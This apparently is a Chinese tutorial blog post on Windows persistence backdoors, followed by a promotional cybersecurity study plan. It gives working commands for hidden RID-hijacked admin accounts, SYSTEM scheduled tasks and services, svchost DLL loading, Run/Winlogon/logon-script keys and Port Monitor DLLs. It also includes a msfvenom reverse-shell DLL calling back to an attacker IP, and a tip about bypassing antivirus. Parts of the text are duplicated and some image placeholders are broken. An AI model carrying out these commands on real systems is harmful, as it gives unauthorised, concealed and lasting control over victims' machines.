0x00 前言
在获取到目标机器的权限后,如果想长时间的对目标进行控制,那么绕不开的一个操作就是权限持久化,为了实现这个目的,许许多多的后门技术应运而生。因此,本文对常见的系统后门技术进行了总结并对其利用方式进行了详细的说明,希望可以对大家的学习提供一些帮助。
0x01 创建影子账户
影子账户其实就是隐藏账户,无论通过 “计算机管理” 还是命令行查询都无法看到,只能在注册表中找到其信息。
hacker 常常通过创建具有管理员权限的影子账户,在目标主机上实现权限维持
注意需要拥有管理员级别的权限
下面来实操如何创建影子账户:
① 在目标机创建一个名为 “Hack” 的账户
net user Hack$ 123Abc!@# /add
# “$” 符号表示该用户为隐藏账户,无法通过命令行查询到,但是通过计算机管理的 “本地用户和组” 可以看到隐藏用户
此时,Hack$ 还是标准用户,为了使其拥有管理员级别的权限,还需要修改注册表。
② 在注册表中找到 HKEY_LOCAL_MACHINE\SAM\SAM,单击右键,在弹出的菜单中选择 “权限” 选项,将 Administrator
用户的权限设置为 “完全控制”。
该注册表项的内容在标准用户和管理员权限下都是不可见的
③ 在注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 处选择
Administrator 用户,在左侧找到与右边显示的键值的类型 “0x1f4” 相同的目录名。
复制 000001F4 表项的 F 属性的值。
④ 在找到与隐藏账户 Hack$ 相应的目录 “000003EB”,将复制的 000001F4 表项中的 F 属性值粘贴到 000003EB 表项中的 F
属性值处,并确认。
到此处,Hack$ 用户劫持了 Administrator 用户的 RID,从而使 Hack$ 用户获得 Administrator 用户的权限。
⑤ 分别选中注册表项 “Hack ”和“ 000003 E B ”并导出,然后执行以下命令,删除 H a c k ” 和 “000003EB” 并导出,然后执行以下命令,删除 Hack ”和“000003EB”并导出,然后执行以下命令,删除Hack 用户:
net user Hack$ /del
⑥ 将刚才导出的两个注册表项导入注册表。
到此,影子账户 Hack$ 就创建好了。此时查看 “本地用户和组” 也看不到该账户,只在注册表中才能看到。
尝试使用影子账户登录远程桌面
0x02 计划任务后门
通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行 hacker 预先准备的后门程序,从而实现权限持久化。
执行以下命令,在目标主机上创建一个名为 Backdoor 的计划任务,每 60 秒以 SYSTEM 权限运行一次后门程序 shell.exe。
schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:\Windows\System32\shell.exe /RU System /F
# /TN,指定要创建的计划任务的名称
# /SC,指定计划任务执行频率
# /MO,指定计划任务执行周期
# /TR,指定计划任务运行的程序路径
# /RU,指定计划任务运行的用户权限
# /F,如果指定的任务已经存在,则强制创建
注意:如果以 SYSTEM 权限运行计划任务,就需要拥有管理员级别的权限。
当计划任务触发后,目标主机就会上线
计算机上所有的计划任务都存储在了 “计算机管理” 中的 “计划任务程序库”。
可以看到,计划任务在 “计划任务程序库”
中以类似文件目录的形式存储,所有计划任务都存储在最内层的目录中。因此,为了增强隐蔽性,建议在创建计划任务后门时遵守这个存储规范。
执行以下命令,在 \Microsoft\Windows\AppTask\ 路径下创建一个名为 “AppRun” 的计划任务后门。
schtasks /Create /TN \Microsoft\Windows\AppTask\AppRun /SC daily /ST 08:00 /MO 1 /TR C:\Windows\System32\shell.exe /RU System /F
0x03 系统服务后门
对于启动类型为 “自动” 的系统服务,hacker
可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,当系统或服务重启时,可以重新获取对目标主机的控制权。但是,前提条件是已经获取了目标主机的管理员权限。
1. 创建系统服务
执行以下命令,在目标主机上创建一个名为 Backdoor 的系统服务,启动类型为 “自动”,启动权限为SYSTEM:
sc create Backdoor binpath= "cmd.exe /k C:\Windows\System32\shell.exe" start= "auto" obj= "LocalSystem"
# binpath,指定服务的二进制文件路径,注意 “=” 后必须有一个空格
# start,指定启动类型
# obj,指定服务运行的权限
系统或服务重启时,将以 SYSTEM 权限运行后门程序 shell.exe,目标主机就会上线。
2. 利用现有的系统服务
通过修改现有服务的配置信息,使服务启动时运行指定的后门程序。
hacker 可以通过 “sc config” 命令修改服务的 binpath 选项,也可以尝试修改服务注册表的 ImagePath
键,二者都直接指定了相应服务的启动时运行的二进制文件。
① 执行以下命令,将该服务注册表中的 ImagePath 键指向预先上传的攻击载荷。
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RegSvc /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\Users\Public\shell.exe" /f
② 系统或服务重启时,将以 SYSTEM 权限运行后门程序 shell.exe,目标主机就会上线。
3. 利用 svchost.exe 启动服务
svchost.exe 是 Windows 的系统文件,svchost.exe
是从动态链接库(DLL)中运行的服务的通用主机进程名称。该程序本身只是作为服务的宿主,许多系统服务通过注入该程序进程中启动,所以系统中会存在多个该程序的进程。
在 Windows 系统中,需要由 svchost.exe 进程启动的服务将以 DLL 形式实现。在安装这些服务时,需要将服务的可执行文件路径指向
svchost.exe。在启动这些服务时,由 svchost.exe 调用相应服务的 DLL 文件,而具体调用哪个 DLL
是由该服务在注册表的信息所决定的。
下面以 wuauserv 服务(Windows Update)为例进行讲解:
在注册表中定位到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv。从
imagepath 键值可以得知,该服务启动的可执行文件的路径为 C:\Windows\system32\svchost.exe -k
netsvcs,说明该服务是依靠 svchost.exe 加载 DLL 文件来实现的。
wuauserv 服务的注册表下还有一个 Parameters 子项,其中的 ServiceDll 键值表明该服务由哪个 DLL
文件负责。当服务启动时,svchost.exe 就会加载 wuaueng.dll 文件,并执行其提供的具体服务。
注意:系统会根据服务可执行文件路径中的参数对服务进行分组,如 C:\Windows\system32\svchost.exe -k netsvcs
表明该服务属于 netsvcs 这个服务组。通常,每个 svchost 进程负责运行一组服务。因此,并不是每启动一个服务就会增加一个 svchost.exe
进程。
svchost.exe 的所有服务分组位于注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Svchost 中。通过 svchost.exe 加载启动的服务都要在该表项中注册。
实战中,hacker 可以通过 svchost.exe 加载恶意服务,以此来建立持久化后门。由于恶意服务的 DLL 将加载到 svchost.exe
进程,恶意进程不是独立运行的,因此具有很高的隐蔽性。
接下来进行实操:
① 使用 msf 生成一个负责提供恶意服务的 DLL 文件,然后将生成的 DLL 上传到目标主机的 System32 目录。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=6666 -f dll > reverse_tcp.dll
② 创建名为 Backdoor 的服务,并以 svchost 加载的方式启动,服务分组为 netsvc
sc create Backdoor binpath= "C:\Windows\system32\svchost.exe -k netsvc" start= "auto" obj= "LocalSystem"
③ 将 Backdoor 服务启动时加载的 DLL 设为 reverse_tcp.dll
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\reverse_tcp.dll"
④ 配置服务描述
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor /v Description /t REG_SZ /d "Windows Service"
⑤ 配置服务显示名称
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor /v DisplayName /t REG_SZ /d "Backdoor"
⑥ 创建服务新分组 netsvc,并将 Backdoor 服务添加进去
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d Backdoor
⑦ 当系统重启时,Svchost 以 SYSTEM 权限加载恶意服务,目标主机就会上线。
0x04 启动项/注册表键后门
hacker
可以通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。添加的后门程序将在用户登录的上下文中启动,并且将具有与账户相关联的权限等级。
1. 系统启动文件夹
将程序放置在启动文件夹中会导致该程序在用户登录时执行。
Windows 系统有两种常见的启动文件夹:
# 位于以下目录中的程序将在指定用户登录时启动
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# 位于以下目录中的程序将在所有用户登录时启动
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
尝试将后门程序放入 hack 用户的启动文件夹
切换用户登录,成功上线
2. 运行键(Run Keys)
Windows 系统上有许多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载指定 DLL 文件,hacker
可以对此类注册表进行滥用,以建立持久化后门。
当用户登录时,系统会依次检查位于注册表运行键(Run Keys)中的程序,并在用户登录的上下文中启动。Windows 系统默认创建以下运行键,如果修改
HKEY_LOCAL_MACHINE 下的运行键,需要拥有管理员级别的权限。
# 以下注册表项中的程序将在当前用户登录时启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 以下注册表中的程序将在所有用户登录时启动
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
执行以下命令,在注册表运行键中添加一个名为 “Backdoor” 的键,并将键值指向后门程序的绝对路径。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\System32\shell.exe"
当用户重新登录时,目标主机就会上线。
3. Winlogon Helper
Winlogon 是 Windows
系统的组件,用于处理与用户有关的各种行为,如登录、注销、在登录时加载用户配置文件、锁定屏幕等。这些行为由系统注册表管理,注册表中的一些键值定义了在
Windows 登录期间会启动哪些进程。
hacker 可以滥用此类注册表键值,使 Winlogon 在用户登录时执行恶意程序,以此建立持久化后门。
常见的有以下两个:
# 指定用户登录时执行的用户初始化程序,默认为 userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
# 指定 Windows 身份验证期间执行的程序,默认为 explorer.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell
执行以下命令,在 Userinit 键值中添加一个后门程序。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,shell.exe" /f
当用户重新登录时,目标主机就会上线。
注意:在滥用 Userinit 和 Shell 键时需要保留键值中的原有程序,将待启动的后门程序添加到原有程序后面,并以 “,”
进行分隔。并且,后面程序需要被上传至 C:\Windows\system32 目录。
4. Logon Scripts
Logon Scripts是优先于很多杀毒软件启动的,所以可以通过这种方式绕过杀毒软件敏感操作拦截。
执行以下命令,在 HKEY_CURRENT_USER/Enviroment 下新建字符串键值
UserInitMprLogonScript,键值设置为想要执行的程序或bat脚本的路径:
reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\system32\shell.exe"
重启系统或重新登陆账户,成功上线
0x05 Port Monitors后门
打印后台处理服务(Print Spooler)负责管理 Windows 系统的打印作业。与该服务的交互是通过 Print Spooler API
执行的,其中包含 AddMonitor 函数,用于安装 Port Monitors(本地端口监听器),并连接配置、数据和监视器文件。AddMonitor
函数能够将 DLL 注入 spoolsv.exe 进程,以实现相应功能,并且通过创建注册表键,hacker 可以在目标系统上进行权限持久化。
注意:利用该技术需要拥有管理员级别的权限。
① 通过 msf 生成一个 64 位的恶意 DLL
② 将生成的 DLL 上传到目标主机的 C:\Windows\system32 目录中,执行一下命令,通过编辑注册表安装一个端口监视器。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse_tcp.dll"
当系统重启时,Print Spooler 服务在启动过程中会读取 Monitors 注册表项的所有子健,并以 SYSTEM 权限加载 Driver
键值所指定的 DLL 文件。
0x06 总结
在本文的很多例子中,其实都会或多或少与一个东西有关,那就是注册表。关于注册表,我觉得值得花时间去仔细研究一番,一定会有很大的收获。
关于系统后门技术其实还有许许多多,本文只是将常见的一些技术拿出来进行了分享,希望可以对大家的学习有帮助。如有不对,欢迎指正。
reverse_tcp.dll"
[外链图片转存中…(img-qhddTgV9-1691466893281)]
[外链图片转存中…(img-t4tuwy48-1691466893282)]
当系统重启时,Print Spooler 服务在启动过程中会读取 Monitors 注册表项的所有子健,并以 SYSTEM 权限加载 Driver
键值所指定的 DLL 文件。
[外链图片转存中…(img-fg1SQeFK-1691466893283)]
0x06 总结
在本文的很多例子中,其实都会或多或少与一个东西有关,那就是注册表。关于注册表,我觉得值得花时间去仔细研究一番,一定会有很大的收获。
关于系统后门技术其实还有许许多多,本文只是将常见的一些技术拿出来进行了分享,希望可以对大家的学习有帮助。如有不对,欢迎指正。
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。
